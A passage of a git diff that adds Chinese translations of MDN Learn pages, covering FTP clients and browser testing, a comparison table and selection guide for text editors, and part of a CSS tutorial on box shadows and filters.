href="/en-US/docs/Learn/How_much_does_it_cost">How much does it cost to do something on the web?</a>])处购买服务器的空间。一旦你选择好供应者,供应者会通过电子邮件给你发送 FTP(文件传输协议 [file transfer protocol])访问信息。上传文件到一个网络服务器是创建一个网站的重要一环,所以我们会在一篇独立的文章 [<a href="/en-US/docs/Learn/Upload_files_to_a_web_server">a separate article</a>] 中介绍它。就目前而言,这里有一小列免费的基本 FTP 客户端:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">操作系统</th> + <th colspan="2" rowspan="1" scope="col" style="text-align: center;"> FTP 软件</th> + </tr> + </thead> + <tbody> + <tr> + <td>Windows</td> + <td> + <p><a href="http://winscp.net" rel="external">WinSCP</a></p> + + <p><a href="http://mobaxterm.mobatek.net/">Moba Xterm</a></p> + </td> + <td colspan="1" rowspan="3"><a href="https://filezilla-project.org/">FileZilla</a> (All OS)</td> + </tr> + <tr> + <td>Linux</td> + <td><a href="https://live.gnome.org/Nautilus" rel="external">Nautilus</a> (Gnome)<br> + <a href="http://www.konqueror.org/">Konqueror</a> (KDE)</td> + </tr> + <tr> + <td>Mac OS</td> + <td><a href="http://cyberduck.de/">Cyberduck</a></td> + </tr> + </tbody> +</table> + +<h3 id="浏览页面">浏览页面</h3> + +<p>正如你所知,你需要一个网页浏览器去查看网页。这里有一系列的 [<a href="http://en.wikipedia.org/wiki/List_of_web_browsers">dozens</a>] 可选浏览器供你个人实用,不过当你在开发一个网页时,你应当至少用以下的主流浏览器测试它,以保证你的网站可供大部分人浏览:</p> + +<ul> + <li><a href="https://www.mozilla.org/en-US/firefox/new/" rel="external">Mozilla Firefox</a></li> + <li><a href="https://www.google.fr/chrome/browser/" rel="external">Google Chrome</a></li> + <li><a href="http://windows.microsoft.com/en-US/internet-explorer/download-ie" rel="external">Microsoft Internet Explorer</a></li> + <li><a href="http://www.apple.com/safari/" rel="external">Apple Safari</a></li> +</ul> + +<p>如果你正以特定的群体(比如说技术平台或者国家)为目标,你或许需要用额外的浏览器,像是 <a href="http://www.opera.com/" rel="external">Opera</a>、 <a href="http://dolphin.com/" rel="external">Dolphin</a> 或者<a href="http://www.ucweb.com/ucbrowser/" rel="external"> UC Browser</a>,来测试它。</p> + +<p>但是因为某些浏览器只会在特定的操作系统上运行,测试会变得复杂。Apple Safari 在 iOS 和 Mac OS 上运行,而 Internet Explorer 则只在 Windows 上运行。这时候最好利用像是 <a href="http://browsershots.org/" rel="external">Browsershots</a> 或者 <a href="http://www.browserstack.com/" rel="external">Browserstack</a> 之类的服务。Browsershots 提供你的网站的截图,就如同它会在不同浏览器中所看到那样。Browserstack 实际上给予你完全远程访问虚拟机 [virtual machines] 的权限,所以你可以在最普遍的环境中测试你的网站。或者,你可以设置你自己的虚拟机,不过这需要一些专业知识。(如果你选择了这样做,微软 [Microsoft] 在 <a href="https://modern.ie" rel="external">modern.ie</a> 上为开发者提供了一些工具,包括随时可用的虚拟机。)</p> + +<p>务必在一个真实设备上运行一些测试,尤其是在真实的移动设备 [mobile devices] 上。移动设备模拟是一个崭新的,进化中的技术,而且它并不及桌面模拟可靠。当然,移动设备耗费金钱,所以我们推荐你查看一下 <a href="http://opendevicelab.com/" rel="external">Open Device Lab initiative</a>。你同时也可以分享设备,如果你想要不花费太多地在多平台上测试的话。</p> + +<h2 id="下一步">下一步</h2> + +<ul> + <li>这里的一些软件是免费的,但不是所有都是。探寻在网络上做一些事情需要花费多少 [<a href="/en-US/docs/Learn/Common_questions/How_much_does_it_cost">Find out how much it costs to do something on the web</a>]。</li> + <li>如果你想要了解更多关于文本编辑器的知识,阅读我们关于如何选择并安装一个文件浏览器 [<a href="/en-US/docs/Learn/Choose,_Install_and_set_up_a_text_editor">how to choose and install a text editor</a>] 的文章。</li> + <li>如果你寻思如何在网络上发布你的网站,查阅 “如何上传文件到一个网络服务器 [<a href="/en-US/docs/Learn/Upload_files_to_a_web_server">How to upload files to a web server</a>]”。</li> +</ul> + +<p> </p> diff --git a/files/zh-cn/learn/common_questions/实用文本编辑器/index.html b/files/zh-cn/learn/common_questions/实用文本编辑器/index.html new file mode 100644 index 0000000000..f8f394191d --- /dev/null +++ b/files/zh-cn/learn/common_questions/实用文本编辑器/index.html @@ -0,0 +1,295 @@ +--- +title: 什么文本编辑器比较好用? +slug: Learn/Common_questions/实用文本编辑器 +translation_of: Learn/Common_questions/Available_text_editors +--- +<div>{{IncludeSubnav("/en-US/Learn")}}</div> + +<div class="summary"> +<p>在这篇文章中我们强调了关于web开发者安装文本编辑器的一些考虑事项。</p> +</div> + +<table class="learn-box nostripe standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>你应该已经知晓了<a href="/en-US/Learn/What_software_do_I_need"> 为了建立一个网站所需的各种软件</a>。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>学习作为一个web开发者如何选择一个最适合自己需求的文本编辑器。</td> + </tr> + </tbody> +</table> + +<h2 id="概要">概要</h2> + +<p>一个网站包括很多文本文件, 所以为了拥有一个有趣的,令人愉快的开发经历你应该明智地选择你的文本编辑器。 </p> + +<p>可做选择的文本编辑器数量实在是太多了,因为文本编辑器对于计算机科学来说是如此基础(是的,web开发是计算机科学)。按理想来说,你应该尽你可能的尝试足够多的编辑器然后感受出来哪一款适合你的工作流程。但是我们将会给予你一些初学者的建议。</p> + +<p>以下是一些你应该考虑的基本问题:</p> + +<ul> + <li>我想在哪一个操作系统上工作?</li> + <li>我想使用什么样的技术?</li> + <li>我希望我的文本编辑器具备哪些基本功能?</li> + <li>我想为我的文本编辑器添加额外功能吗?</li> + <li>当使用文本编辑器时我需要支持或者帮助吗?</li> + <li>对我来说文本编辑器的外观和感觉重要吗?</li> +</ul> + +<p>注意我们没有提及价格。显然,这也是要注意的,但一件产品的成本和它的质量或性能几乎没有关系。很大概率下,你能找到一个合适的免费文本编辑器。</p> + +<p>以下是一些流行的编辑器:</p> + +<table class="standard-table" style="height: 522px; width: 917px;"> + <thead> + <tr> + <th scope="col">编辑器</th> + <th scope="col">授权条款</th> + <th scope="col">价格</th> + <th scope="col">操作系统</th> + <th scope="col">支持</th> + <th scope="col">文档</th> + <th scope="col">可延展性</th> + </tr> + </thead> + <tbody> + <tr> + <td><a href="https://atom.io/">Atom</a></td> + <td>MIT/BSD</td> + <td style="text-align: center;">免费</td> + <td>Windows, Mac, Linux</td> + <td><a href="https://discuss.atom.io/categories" rel="external">论坛</a></td> + <td><a href="https://atom.io/docs/latest/">在线指南</a></td> + <td style="text-align: center;"><a href="https://atom.io/packages">是</a></td> + </tr> + <tr> + <td><a href="http://brackets.io/" rel="external">Brackets</a></td> + <td>MIT/BSD</td> + <td style="text-align: center;">免费</td> + <td>Windows, Mac, Linux</td> + <td><a href="https://groups.google.com/forum/#!forum/brackets-dev" rel="external">论坛</a>, <a href="http://webchat.freenode.net/?channels=brackets" rel="external">IRC</a></td> + <td><a href="https://github.com/adobe/brackets/wiki" rel="external">GitHub Wiki</a></td> + <td style="text-align: center;"><a href="https://ingorichter.github.io/BracketsExtensionTweetBot/" rel="external">是</a></td> + </tr> + <tr> + <td><a href="https://panic.com/coda/" rel="external">Coda</a></td> + <td>闭源</td> + <td style="text-align: center;">$99</td> + <td>Mac</td> + <td><a href="https://twitter.com/panic">推特</a>, <a href="https://panic.com/qa" rel="external">论坛</a>, <a href="mailto:coda@panic.com">电子邮件</a></td> + <td><a href="https://panic.com/coda/#book">电子书</a></td> + <td style="text-align: center;"><a href="https://panic.com/coda/plugins.php">是</a></td> + </tr> + <tr> + <td><a href="http://www.gnu.org/software/emacs/" rel="external">Emacs</a></td> + <td>GPL 3</td> + <td style="text-align: center;">免费</td> + <td>Windows, Mac, Linux</td> + <td><a href="http://www.gnu.org/software/emacs/manual/efaq.html" rel="external">常见问题</a>, <a href="http://mail.gnu.org/mailman/listinfo/help-gnu-emacs" rel="external">邮件清单</a>, <a href="news://gnu.emacs.help" rel="external">新闻组</a></td> + <td><a href="http://www.gnu.org/software/emacs/manual/html_node/emacs/index.html">在线指南</a></td> + <td style="text-align: center;">是</td> + </tr> + <tr> + <td><a href="http://www.macrabbit.com/espresso/">Espresso</a></td> + <td>闭源</td> + <td style="text-align: center;">$75</td> + <td>Mac</td> + <td><a href="http://www.macrabbit.com/support/" rel="external">常见问题</a>, <a href="mailto:support@macrabbit.com">电子邮件</a></td> + <td>没有终端用户文档,但有<a href="http://wiki.macrabbit.com/">插件文档</a></td> + <td style="text-align: center;">是</td> + </tr> + <tr> + <td><a href="https://wiki.gnome.org/Apps/Gedit">Gedit</a></td> + <td>GPL</td> + <td style="text-align: center;">免费</td> + <td>Windows, Mac, Linux</td> + <td><a href="http://mail.gnome.org/mailman/listinfo/gedit-list" rel="external">邮件清单</a>, <a href="irc://irc.gnome.org/%23gedit">IRC</a></td> + <td><a href="https://help.gnome.org/users/gedit/stable/">在线指南</a></td> + <td style="text-align: center;"><a href="https://wiki.gnome.org/Apps/Gedit/PluginsLists">是</a></td> + </tr> + <tr> + <td><a href="http://komodoide.com/komodo-edit/" rel="external">Komodo Edit</a></td> + <td>MPL</td> + <td style="text-align: center;">免费</td> + <td>Windows, Mac, Linux</td> + <td><a href="http://forum.komodoide.com/" rel="external">论坛</a></td> + <td><a href="http://docs.activestate.com/komodo/8.5/" rel="external">在线指南</a></td> + <td style="text-align: center;"><a href="http://komodoide.com/resources/addons/">是</a></td> + </tr> + <tr> + <td><a href="http://www.notepad-plus-plus.org/" rel="external">Notepad++</a></td> + <td>GPL</td> + <td style="text-align: center;">免费</td> + <td>Windows</td> + <td><a href="http://sourceforge.net/p/notepad-plus/discussion/">论坛</a></td> + <td><a href="http://npp-wiki.tuxfamily.org/index.php?title=Main_Page" rel="external">Wiki</a></td> + <td style="text-align: center;"><a href="http://npp-wiki.tuxfamily.org/index.php?title=Plugin_Central" rel="external">是</a></td> + </tr> + <tr> + <td><a href="http://www.pspad.com/">PSPad</a></td> + <td>闭源</td> + <td style="text-align: center;">免费</td> + <td>Windows</td> + <td><a href="http://gogogadgetscott.info/pspad/dotazy.htm">常见问题</a>, <a href="http://forum.pspad.com/" rel="external">论坛</a></td> + <td><a href="http://gogogadgetscott.info/pspad/">在线帮助</a></td> + <td style="text-align: center;"><a href="http://www.pspad.com/en/pspad-extensions.php">是</a></td> + </tr> + <tr> + <td><a href="http://www.sublimetext.com/" rel="external">Sublime Text</a></td> + <td>闭源</td> + <td style="text-align: center;">$70</td> + <td>Windows, Mac, Linux</td> + <td><a href="http://www.sublimetext.com/forum/viewforum.php?f=3" rel="external">论坛</a></td> + <td><a href="http://www.sublimetext.com/docs/3/">官方文档</a>,<a href="http://docs.sublimetext.info/en/latest/index.html"> 非官方文档</a></td> + <td style="text-align: center;"><a href="https://sublime.wbond.net/">是</a></td> + </tr> + <tr> + <td><a href="http://macromates.com/" rel="external">TextMate</a></td> + <td>闭源</td> + <td style="text-align: center;">$50</td> + <td>Mac</td> + <td><a href="https://twitter.com/macromates">推特</a>, <a href="http://webchat.freenode.net/?channels=textmate">IRC</a>, <a href="http://lists.macromates.com/listinfo/textmate" rel="external">邮件清单</a>, <a href="mailto:tm-support@macromates.com">电子邮件</a></td> + <td><a href="http://manual.macromates.com/en/">在线指南</a>, <a href="http://wiki.macromates.com/Main/HomePage" rel="external">Wiki</a></td> + <td style="text-align: center;"><a href="http://wiki.macromates.com/Main/Plugins" rel="external">是</a></td> + </tr> + <tr> + <td><a href="http://www.barebones.com/products/textwrangler/" rel="external">TextWrangler</a></td> + <td>闭源</td> + <td style="text-align: center;">免费</td> + <td>Mac</td> + <td><a href="http://www.barebones.com/support/textwrangler/faqs.html" rel="external">常见问题</a>, <a href="https://groups.google.com/forum/#!forum/textwrangler">论坛</a></td> + <td><a href="http://ash.barebones.com/TextWrangler_User_Manual.pdf" rel="external">PDF指南</a></td> + <td style="text-align: center;">否</td> + </tr> + <tr> + <td><a href="http://www.vim.org/" rel="external">Vim</a></td> + <td><a href="http://vimdoc.sourceforge.net/htmldoc/uganda.html#license" rel="external">特殊开放式许可证</a></td> + <td style="text-align: center;">免费</td> + <td>Windows, Mac, Linux</td> + <td><a href="http://www.vim.org/maillist.php#vim" rel="external">邮件清单</a></td> + <td><a href="http://vimdoc.sourceforge.net/">在线指南</a></td> + <td style="text-align: center;"><a href="http://www.vim.org/scripts/script_search_results.php?order_by=creation_date&direction=descending" rel="external">是</a></td> + </tr> + <tr> + <td><a href="https://code.visualstudio.com/download">Visual Studio Code</a></td> + <td>MIT许可下的<a href="https://github.com/microsoft/vscode">开放源码</a>/ 产品的具体许可证</td> + <td style="text-align: center;">免费</td> + <td>Windows, Mac, Linux</td> + <td><a href="https://code.visualstudio.com/docs/supporting/faq">常见问题</a> </td> + <td><a href="https://code.visualstudio.com/docs">文件</a></td> + <td style="text-align: center;"><a href="https://marketplace.visualstudio.com/VSCode">是</a></td> + </tr> + </tbody> +</table> + +<h2 id="主动学习">主动学习</h2> + +<p><em>还没有主动学习。 <a href="/en-US/docs/MDN/Getting_started">请考虑投稿贡献。</a></em></p> + +<h2 id="深入挖掘">深入挖掘</h2> + +<h3 id="选择标准">选择标准</h3> + +<p>所以,更详细地说,你在选择文本编辑器时应该怎么考虑?</p> + +<h4 id="我想在哪个操作系统上工作?">我想在哪个操作系统上工作?</h4> + +<p>当然这是你的选择。然而,一些编辑器只支持特定的操作系统,所以如果你喜欢切换系统,这将会缩小你的选择范围。只要在你的系统上运行了,任何文本编辑器都<em>能 </em>完成工作,但跨平台的编辑器可以轻松的在操作系统间迁移。</p> + +<p><font>所以首先找出你使用的操作系统,然后检查指定的编辑器是否支持你的操作系统。</font><font>大多数编辑器在他们的网站上指定了是否支持Windows或Mac,尽管一些编辑器只支持某些版本(比如说只有Windows 7或更高版本而不是Vista)。</font><font>如果正在运行Ubuntu,最好的方法是在Ubuntu软件中心内进行搜索。当然,一般来说,Linux / UNIX系列是一个相当多元化的地方,其中不同的发行版与不同的不兼容的包装系统配合使用。这意味着,如果你强烈地(而不是微弱的)想使用某些未经编译的文本编辑器,则可能需要下载源码自己编译它。</font></p> + +<h4 id="我想使用什么样的技术">我想使用什么样的技术?</h4> + +<p><font><font>一般来说,任何文本编辑器都可以打开任意文本文件。</font><font>这对于自己写笔记来说是非常有用的,但是当你使用</font></font><a href="https://developer.mozilla.org/en-US/docs/Glossary/HTML" title="HTML:HTML(超文本标记语言)是指定网页结构的描述性语言。"><font><font>HTML</font></font></a><font><font>,</font></font><a href="https://developer.mozilla.org/en-US/docs/Glossary/CSS" title="CSS:CSS(Cascading Style Sheets)是一种声明性语言,用于控制浏览器中网页的外观。"><font><font>CSS</font></font></a><font><font>和</font></font><a href="https://developer.mozilla.org/en-US/docs/Glossary/JavaScript" title="JavaScript:JavaScript(JS)是一种编程语言,主要用于客户端动态脚本的页面,但往往也是服务器端。"><font><font>JavaScript</font></font></a><font><font>进行Web开发和编写时</font><font>,你将生产出很大的复杂文件。</font><font>通过选择一个适用你使用的技术的文本编辑器,可以使你更轻松自如。</font><font>许多文本编辑器可以帮助你实现如下功能</font></font></p> + +<ul> + <li><strong><font><font>代码着色。</font></font></strong><font><font>根据你使用的技术,通过对关键字进行颜色编码,使你的文件更清晰。</font></font></li> + <li><strong><font><font>代码完成。</font></font></strong><font><font>通过自动完成循环结构(例如,自动关闭HTML标签或为给定的CSS属性建议有效值)为你节省时间。</font></font></li> + <li><strong><font><font>代码段 。</font></font></strong><font><font>正如你在启动一个新的HTML文档时看到的,许多技术一遍又一遍地使用相同的文档结构。</font><font>通过使用代码段预先填写你的文档,可以节省你重新输入所有这些的麻烦。</font></font></li> +</ul> + +<p><font><font>大多数文本编辑器现在都支持代码着色,但不一定是支持其他两个功能。尤其</font><font>确保你的文本编辑器会对</font></font><a href="https://developer.mozilla.org/en-US/docs/Glossary/HTML" title="HTML:HTML(超文本标记语言)是指定网页结构的描述性语言。"><font><font>HTML</font></font></a><font><font>,</font></font><a href="https://developer.mozilla.org/en-US/docs/Glossary/CSS" title="CSS:CSS(Cascading Style Sheets)是一种声明性语言,用于控制浏览器中网页的外观。"><font><font>CSS</font></font></a><font><font>和</font></font><font><font><a href="https://developer.mozilla.org/en-US/docs/Glossary/JavaScript" title="JavaScript:JavaScript(JS)是一种编程语言,主要用于客户端动态脚本的页面,但往往也是服务器端。">JavaScript</a>进行</font></font><font><font>颜色编码</font><font>。</font></font></p> + +<h4 id="我希望我的文本编辑器具备哪些基本功能">我希望我的文本编辑器具备哪些基本功能?</h4> + +<p><font><font>这取决于你的需求和计划。</font><font>以下功能通常是很有帮助的:</font></font></p> + +<ul> + <li><font><font>根据</font></font><a href="https://developer.mozilla.org/en-US/docs/Glossary/Regular_Expression" title="正则表达式:正则表达式(或正则表达式)是管理搜索中出现哪些字符序列的规则。"><font><font>正则表达式</font></font></a><font><font>或其他模式的需要</font><font>,在一个或多个文档中搜索和替换</font></font></li> + <li><font><font>快速跳到指定行</font></font></li> + <li><font><font>分别查看一个大文件的两个部分</font></font></li> + <li><font><font>预览HTML在浏览器中的显示情况</font></font></li> + <li><font><font>一次性选择多处文字</font></font></li> + <li><font><font>查看项目的文件和目录</font></font></li> + <li><font><font>使用代码美化程序自动格式化代码</font></font></li> + <li><font><font>检查拼写</font></font></li> +</ul> + +<h4 id="我想为我的文本编辑器添加额外功能吗">我想为我的文本编辑器添加额外功能吗?</h4> + +<p><font><font>可扩展的编辑器具有较少的内置功能,但可以根据你的需要进行扩展。</font></font></p> + +<p><font><font>如果你不确定要使用哪些功能,或者你最喜欢的编辑器缺少这些功能,使用可扩展编辑器吧。</font><font>最好的编辑器将会提供许多插件,理想的方法是自动查找和安装新的插件。</font></font></p> + +<p><font><font>如果你喜欢的功能</font></font><em><font><font>很多 </font></font></em><font><font>,并且你的编辑器因为安装的插件而变慢,请尝试使用IDE(集成开发环境)。</font><font>IDE在一个界面中提供了许多工具,对于初学者来说,这是一个令人望而生畏的工作,但是如果你感觉你的文本编辑器功能有限,这是一个不错的选项。</font><font>以下是一些流行的IDE:</font></font></p> + +<ul> + <li><a href="http://www.aptana.com/">Aptana Studio</a></li> + <li><a href="https://eclipse.org/" rel="external">Eclipse</a></li> + <li><a href="http://komodoide.com/" rel="external">Komodo IDE</a></li> + <li><a href="https://netbeans.org/" rel="external">NetBeans IDE</a></li> + <li><a href="http://www.visualstudio.com/" rel="external">Visual Studio</a></li> + <li><a href="https://www.jetbrains.com/webstorm/" rel="external">WebStorm</a></li> +</ul> + +<h4 id="当使用文本编辑器时我需要支持或者帮助吗">当使用文本编辑器时我需要支持或者帮助吗?</h4> + +<p><font><font>如果在使用软件时可以获得帮助总是令人高兴的。</font><font>对于文本编辑器,请检查两种不同类型的支持:</font></font></p> + +<ol> + <li><font><font>面向用户的内容(常见问题,指南,在线帮助)</font></font></li> + <li><font><font>与开发者和其他用户讨论(论坛,电子邮件,IRC)</font></font></li> +</ol> + +<p><font><font>在学习如何使用编辑器时使用书面文档。</font><font>如果在安装或使用编辑器时遇到了疑难问题,请与其他用户联系。</font></font></p> + +<h4 id="对我来说文本编辑器的外观和感觉重要吗">对我来说文本编辑器的外观和感觉重要吗?</h4> + +<p><font>这个问题在于个人品味,但有些人喜欢自定义UI(用户界面)的每一个细节,从颜色到按钮位置。编辑器的灵活性差异很大,所以选择前先检查一下。找到一个</font><font>可以改变配色方案的文本编辑器并不难,但是如果你想要大量的自定义,你可能最好使用IDE。</font></p> + +<h3 id="安装并设置">安装并设置</h3> + +<p><font><font>安装文本编辑器通常很简单。</font><font>方法根据您的平台而有所不同,但都不难:</font></font></p> + +<ul> + <li><strong><font><font>Windows </font></font></strong><font><font>开发人员会给你一个</font></font><code>.exe</code><font><font>或</font></font><code>.msi</code><font><font>文件。也</font><font>有时候,软件为自带的压缩归档格式</font></font><code>.zip</code><font><font>,</font></font><code>.7z</code><font><font>或者</font></font><code>.rar</code><font><font>,在这种情况下,你需要安装其他程序来提取压缩文件的内容。</font></font><font><font>Windows支持默认情况下</font></font><code>.zip</code><font><font>。</font></font></li> + <li><strong><font><font>Mac </font></font></strong><font><font>在编辑器的网站上,您可以下载一个</font></font><code>.dmg</code><font><font>文件。</font><font>您也可以直接在Apple Store找到一些文本编辑器,使安装更简单。</font></font></li> + <li><strong><font><font>Linux。</font></font></strong><font><font>在最受欢迎的发行版中,您可以从图形包管理器(Ubuntu Software Center,mintInstall,GNOME Software等)开始。你通常可以发现一个预先包装软件的</font></font><code>.deb</code><font><font>或</font></font><code>.rpm</code><font><font>文件,但大多数时候你将使用你的发行版系统的存储库服务器,或者在最坏的情况下,从源代码编译编辑器。花时间仔细检查文本编辑器网站上的安装说明。</font></font></li> +</ul> + +<p><font><font>当您安装新的文本编辑器时,您的操作系统可能会继续使用其默认编辑器打开文本文件,直到您更改</font></font><em><font><font>文件关联。</font></font></em><font><font>这些说明将帮助您在指定操作系统中双击打开文件时选定首选编辑器:</font></font></p> + +<ul> + <li>Windows + <ul> + <li><a href="http://windows.microsoft.com/en-us/windows-8/choose-programs-windows-uses-default" rel="external">Windows 8</a></li> + <li><a href="http://windows.microsoft.com/en-us/windows/change-default-programs#1TC=windows-7" rel="external">Windows 7</a></li> + <li><a href="http://pcsupport.about.com/od/fixtheproblem/f/chdefprogram.htm">其他系统</a></li> + </ul> + </li> + <li><a href="http://osxdaily.com/2013/08/08/change-default-application-open-files-mac-os-x/" rel="external">Mac OS X</a></li> + <li>Linux + <ul> + <li><a href="http://askubuntu.com/questions/289337/how-can-i-change-file-association-globally" rel="external">Ubuntu Unity</a></li> + <li><a href="https://help.gnome.org/users/gnome-help/stable/files-open.html.en" rel="external">GNOME</a></li> + <li><a href="http://doc.opensuse.org/documentation/html/openSUSE_113/opensuse-kdeuser/cha.kde.cust.html#pro.kde.cust.system.fileass">KDE</a></li> + </ul> + </li> +</ul> + +<h2 id="下一步">下一步</h2> + +<p><font><font>现在你已经选择了一个合适的文本编辑器,现在你可以花一些时间来搭建</font></font><a href="https://developer.mozilla.org/en-US/Learn/Set_up_a_basic_working_environment"><font><font>你的基本工作环境</font></font></a><font><font>,或者你想立即使用它,你可以写下</font></font><a href="https://developer.mozilla.org/en-US/Learn/HTML/Write_a_simple_page_in_HTML"><font><font>你的第一个网页</font></font></a><font><font>。</font></font></p> diff --git a/files/zh-cn/learn/css/building_blocks/advanced_styling_effects/index.html b/files/zh-cn/learn/css/building_blocks/advanced_styling_effects/index.html new file mode 100644 index 0000000000..3a1a8f5d72 --- /dev/null +++ b/files/zh-cn/learn/css/building_blocks/advanced_styling_effects/index.html @@ -0,0 +1,403 @@ +--- +title: 高级区块效果 +slug: Learn/CSS/Building_blocks/Advanced_styling_effects +translation_of: Learn/CSS/Building_blocks/Advanced_styling_effects +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/CSS/Styling_boxes/Styling tables", "Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}}</div> + +<p class="summary">这篇文章展示了盒子的小技巧,提供了一些高级特性的介绍,这些特性不适合其他类别的样式,比如盒子阴影、混合模式和滤镜。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>HTML 基础(学习 <a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>) ,了解CSS工作原理 (学习 <a href="/zh-CN/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>.)</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>要了解如何使用高级的盒子效果,并了解一些在CSS语言中出现的新样式工具。</td> + </tr> + </tbody> +</table> + +<h2 id="盒子阴影">盒子阴影</h2> + +<p>回到我们的<a href="/zh-CN/docs/Learn/CSS/Styling_text">样式化文本</a>模块,我们查看了{{cssxref("text-shadow")}}属性,它允许您将一个或多个阴影应用到元素的文本上。对于盒子来说,存在一个等价的属性——{{cssxref("box-shadow")}}允许您将一个或多个阴影应用到一个实际的元素盒子中。和文本阴影一样,盒子的阴影在各种浏览器中也得到了很好的支持,但只有在IE9+(IE9及更新版本)中可用。你的旧IE版本的用户可能只需要应付没有阴影的情况,所以只要测试一下你的设计,确保你的内容在没有他们的情况下是清晰可见的。</p> + +<p>你可以 <a href="http://mdn.github.io/learning-area/css/styling-boxes/advanced_box_effects/box-shadow.html">box-shadow.html</a>在这部分找到例子 (见<a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/advanced_box_effects/box-shadow.html">源码</a>)。</p> + +<h3 id="一个简单的盒子阴影">一个简单的盒子阴影</h3> + +<p>让我们看一个简单的例子来起步。首先,一些HTML:</p> + +<pre class="brush: html"><article class="simple"> + <p><strong>Warning</strong>: The thermostat on the cosmic transcender has reached a critical level.</p> +</article></pre> + +<p>现在是 CSS:</p> + +<pre class="brush: css">p { + margin: 0; +} + +article { + max-width: 500px; + padding: 10px; + background-color: red; + background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25)); +} + +.simple { + box-shadow: 5px 5px 5px rgba(0,0,0,0.7); +}</pre> + +<p>结果如下:</p> + +<p>{{ EmbedLiveSample('一个简单的盒子阴影', '100%', 100) }}</p> + +<p>你会看到,我们在<code>box-shadow</code>属性值中有4个项:</p> + +<ol> + <li>第一个长度值是水平偏移量(<strong>horizontal offset</strong> )——即向右的距离,阴影被从原始的框中偏移(如果值为负的话则为左)。</li> + <li>第二个长度值是垂直偏移量(<strong>vertical offset</strong>)——即阴影从原始盒子中向下偏移的距离(或向上,如果值为负)。</li> + <li>第三个长度的值是模糊半径(<strong>blur radius</strong>)——在阴影中应用的模糊度。</li> + <li>颜色值是阴影的基本颜色(<strong>base color</strong>)。</li> +</ol> + + + +<p>你可以使用任何长度和颜色单位来定义这些值。</p> + + + +<h3 id="多个盒子阴影">多个盒子阴影</h3> + +<p>还可以在单个<code>box-shadow</code>声明中指定多个框阴影,用逗号分隔:</p> + +<div class="hidden"> +<pre class="brush: html"><article class="multiple"> + <p><strong>Warning</strong>: The thermostat on the cosmic transcender has reached a critical level.</p> +</article></pre> +</div> + +<pre class="brush: css">p { + margin: 0; +} + +article { + max-width: 500px; + padding: 10px; + background-color: red; + background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25)); +} + +.multiple { + box-shadow: 1px 1px 1px black, + 2px 2px 1px black, + 3px 3px 1px red, + 4px 4px 1px red, + 5px 5px 1px black, + 6px 6px 1px black; +}</pre> + +<p>结果如下:</p> + +<p>{{ EmbedLiveSample('多个盒子阴影', '100%', 100) }}</p> + +<p>我们在这里做了一些有趣的事情,创建了一个带有多个颜色图层的凸起的盒子,但是你可以用任何你想要的方式来使用它,例如,用基于多个光源的阴影来创建一个更加真实的外观。</p> + +<h3 id="其他盒子阴影特点">其他盒子阴影特点</h3> + +<p>与{{cssxref("text-shadow")}}不同,{{cssxref("box-shadow")}}有一个<code>inset</code>关键字可用——把它放在一个影子声明的开始,使它变成一个内部阴影,而不是一个外部阴影。让我们看一看。</p> + +<p>首先,我们将为这个例子使用一些不同的HTML:</p> + +<pre class="brush: html"><button>Press me!</button></pre> + +<pre class="brush: css">button { + width: 150px; + font-size: 1.1rem; + line-height: 2; + border-radius: 10px; + border: none; + background-image: linear-gradient(to bottom right, #777, #ddd); + box-shadow: 1px 1px 1px black, + inset 2px 3px 5px rgba(0,0,0,0.3), + inset -2px -3px 5px rgba(255,255,255,0.5); +} + +button:focus, button:hover { + background-image: linear-gradient(to bottom right, #888, #eee); +} + +button:active { + box-shadow: inset 2px 2px 1px black, + inset 2px 3px 5px rgba(0,0,0,0.3), + inset -2px -3px 5px rgba(255,255,255,0.5); +}</pre> + +<p>结果如下:</p> + +<p>{{ EmbedLiveSample('其他盒子阴影特点', '100%', 70) }}</p> + +<p>在这里我们将focus/hover/active这些声明一起设置了按钮样式。这个按钮的默认状态下设置了一个简单的黑色盒阴影,并且加上了一对inset阴影,一个明的,一个暗的,位于按钮的两个对角上,以此给按钮一种很棒的阴影效果。</p> + +<p>当按钮被按下时,这里的active声明将第一个盒阴影换成一个非常暗的inset阴影。给人一种按钮被按下的样子。</p> + +<div class="note"> +<p><strong>注意</strong>: 还有一个可以在box-shadow中设置的值 — 另外一个位于颜色值前面可选的长度值,即<strong>spread radius</strong>,如果设置了这个值,将会导致阴影变得比原始的阴影更大,这个值不是很常用,但是值得一提。</p> +</div> + +<h2 id="Filters(滤镜)">Filters(滤镜)</h2> + +<p>CSS滤镜提供了一种过滤元素的方法,就好比你在诸如Photoshop这样的平面设计程序中过滤元素一样。有大量的不同的选项可以使用,你可以在{{cssxref("filter")}} 参考页面阅读所有相关的更多细节。在这篇文章中,我们将会向你介绍它的语法,并且向你展示将会发生多么有趣的结果。</p> + +<p>基本上,滤镜可以应用在任何元素上,块元素(block)或者行内元素(inline)——你只需要使用<code>filter</code>属性,并且给他一个特定的过滤函数的值。有些可用的滤镜选项和其他CSS特性做的事情十分相似,例如<code>drop-shadow()</code>的工作方式以及产生的效果和 {{cssxref("box-shadow")}} 或{{cssxref("text-shadow")}}十分相似。然而滤镜真正出色的地方在于,它们作用于盒(box)内内容(content)的确切形状,而不仅仅将盒子本身作为一个大的块,这看起来会更棒,即使他们可能不会总是变成你想要的模样。让我们来举一个简单的例子来阐明我们的意思:</p> + +<p>首先,一些简单的 HTML:</p> + +<pre class="brush: html"><p class="filter">Filter</p> + +<p class="box-shadow">Box shadow</p> +</pre> + +<p>现在是一些CSS,用来给它们各自一个下降的阴影:</p> + +<pre class="brush: css">p { + margin: 1rem auto; + padding: 20px; + width: 100px; + border: 5px dashed red; +} + +.filter { + -webkit-filter: drop-shadow(5px 5px 1px rgba(0,0,0,0.7)); + filter: drop-shadow(5px 5px 1px 